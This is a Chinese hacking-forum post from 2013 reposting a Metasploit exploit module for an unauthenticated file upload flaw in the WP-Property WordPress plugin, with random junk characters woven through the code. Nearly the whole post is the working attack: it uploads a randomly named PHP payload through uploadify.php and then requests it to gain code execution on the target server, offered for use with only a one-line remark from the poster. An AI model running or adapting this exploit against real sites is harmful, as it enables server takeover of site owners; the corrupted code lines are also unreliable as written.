找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2175|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞8 Z& N, `/ G9 T" }  h# f* G

  o0 k- Z; z' |3 T) k5 ]1 R& Z. p$ N" ] ## # This file is part of the Metasploit Framework and may be subject to
  ^* u" b8 s0 D  U; u) h8 |& C! ~4 e2 X0 N# b$ U! l$ K
# redistribution and commercial restrictions. Please see the Metasploit
8 m& Y, m4 h1 k* Y  h' U
- M+ \( E# k% ]$ Q; Q* [* K# Framework web site for more information on licensing and terms of use.( _6 g3 H6 U3 O4 K
6 e' T) O2 L- `+ F7 [
#   http://metasploit.com/framework/ ##! {; I0 g$ x' O

+ X5 f# |, h- b) B) @2 V% a
# T8 E3 @# d+ c7 S. s, w7 w2 x6 H. a2 n# g. l0 L2 b
5 j" Y4 M$ R0 D+ o/ k

' ^& \: R% Z$ w1 frequire 'msf/core'
& u* x  S" H. C& trequire 'msf/core/exploit/php_exe'
/ X- P* P. H) M. B2 {  n9 Y; S& q+ I. a5 F# a% A+ |
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',% }) z) i. k: b  U0 s- ~, v/ L
'Description'    => %q{
! _: B& Z9 g$ f8 b4 u5 ?% {This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
+ Y' E$ `4 h8 H9 H5 G0 l- e3 K; B2 }[
7 v- b, o. m6 f- B3 m: E/ K! s'Sammy FORGIT', # initial discovery
0 o) Y' B+ O& R'James Fitts <fitts.james[at]gmail.com>' # metasploit module5 B$ A$ _1 }1 s  d% k  y
],
$ f3 J/ N( ~6 m, ]'License'        => MSF_LICENSE,
+ ~) O" E+ N7 i% p9 b# U'References'     =>
- g( m5 t0 I; \& u8 r[
. p% `4 p0 Q  O' F  q  {9 F4 t; i[ 'OSVDB', '82656' ],# {9 ^! M0 h2 G- w2 E3 r$ T
[ 'BID', '53787' ],
# @5 K0 @  g( V, \5 O[ 'EDB', '18987'],5 {4 T) y4 Z& m$ A: i: W3 `
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
2 c" ]# |$ J! }7 _' @) `1 M],
) E% T8 g) O, Z1 o( z0 V3 a'Payload'        =>
4 p4 H% b( R7 r$ z" }{2 j+ s) S$ U4 }2 m( W3 ]& D9 _
'BadChars' => "\x00",
9 E& p+ ]4 |: v' J. F},
8 V: Q! l* J- ^'Platform'       => 'php',
! l0 B1 d# c$ \; o' E'Arch'           => ARCH_PHP,9 I9 ]0 A$ ^( W$ g# j
'Targets'        =>6 N$ v7 ]2 N) W* ?& ~3 P1 Q
[
+ j0 E: m, i" y1 B3 e$ ][ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
4 a( D1 z% h. v" ], ?& i4 ^7 m[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
7 n6 ]8 i" U2 M],
' j9 L  j* J. i3 Y( l) I+ A'DefaultTarget'  => 0,
' D9 y, O( k3 M) p'DisclosureDate' => 'Mar 26 2012')): r+ W' q/ S* C: ~9 ^" I5 g. p1 L# ^
# D& }: r# z/ H6 ?* O$ v
register_options(- D$ R& B6 c  N3 ]: H; t
[
" `4 E  S' K, K7 D! wOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']). X: K( e, n( c) Q( }* ^8 n3 {
], self.class)5 k" Y. N" h/ \0 X  X& i
end0 n6 U" s" M. z" ?  K7 R0 j

# s6 w- K9 I0 I2 Tdef check! y0 {# M$ j7 e) O1 |
uri =  target_uri.path
3 y0 G3 t8 x  V6 Ruri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',: q1 U7 T' t3 ^3 u$ n' j5 J) C% X
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"4 g$ H7 `! ?. O1 z) o
})+ T& o% f$ P" w  E; b

+ _7 B3 @$ D2 e. v2 Qif not res or res.code != 2003 ]$ t, p7 w7 M' L
return Exploit::CheckCode::Unknown
* h* L+ x  W+ W/ Q3 fend
6 G0 c5 o+ e$ j! _# p( t3 f
7 p- u4 P8 i* k' @" y, U/ greturn Exploit::CheckCode::Appears
9 w# I- n/ q7 ^5 k; P, L* Qend' x( F1 @, Z* i: G# q" M2 ]
2 K; p0 W) S( Z+ I
def exploit/ A4 \9 y0 k! ^0 W. F2 h
uri =  target_uri.path) C  V/ J4 Z4 U; |7 G
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
5 Q5 q: u/ ]" k! k8 e) @$ [0 S, w- B, m0 O; H+ ?+ h; N& ?* ^7 r) e
data = Rex::MIME::Message.new  b. n1 ?. X7 E9 ~) \
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")$ K' w& V) ]- O* h( c" H$ T2 D
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
: Q! T9 W. r+ Q, E3 C, t, u' _% tpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  I0 n6 ?0 Y3 @" f3 W

# \5 G+ y; v5 I9 Gprint_status("#{peer} - Uploading payload #{@payload_name}")7 C9 j! u; L( h) D' J" i* N/ l
res = send_request_cgi({
- T# K5 t$ o' j5 |'method' => 'POST',; }1 g6 \. R# w: K/ R
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
7 o, o+ x. i; d' A" K: d# O) E; a0 O'ctype'  => "multipart/form-data; boundary=#{data.bound}",
) q2 e) U1 y8 T( A1 K7 V'data'   => post_data( ]$ I, {' ?% z4 S7 t- ^
})
4 P4 U( k0 J2 M% u+ |3 K& o! \
3 \0 `+ v1 f) p7 Y# Y, Yif not res or res.code != 200 or res.body !~ /#{@payload_name}/! S+ c+ e( Q" z: k
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
$ q2 {1 n" r; u, ^7 Dend
+ A/ [  P" h$ J" ?5 n( z* q1 z9 y7 W3 c1 z: |
upload_uri = res.body
, d7 `: g  Z5 e; I  Y) X0 N. Q! l( I; H1 R) n( X6 S0 e) V# T/ W* \
print_status("#{peer} - Executing payload #{@payload_name}")+ e" K8 g, |. z6 M6 Y7 D
res = send_request_raw({4 P9 t, ?/ M& ~: P2 {0 m& s
'uri'    => upload_uri,8 `5 ?5 D: K0 S" i/ P% g
'method' => 'GET'
6 F  W% o, e( J$ Y5 j/ C: W}). G; B5 K9 [$ h7 V, T! Z  j* S4 }. V
end
+ f, W3 |! P/ v& A. _: `) R3 Q  Yend
$ }& ?) B1 b' C4 M/ g
( e( E8 u- ^; ~2 ]% E$ t& u不要问我这写的是什么 怎么利用 我是说msf.
6 u0 K, M) m( i
$ @0 I6 |0 ~; O$ k' c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表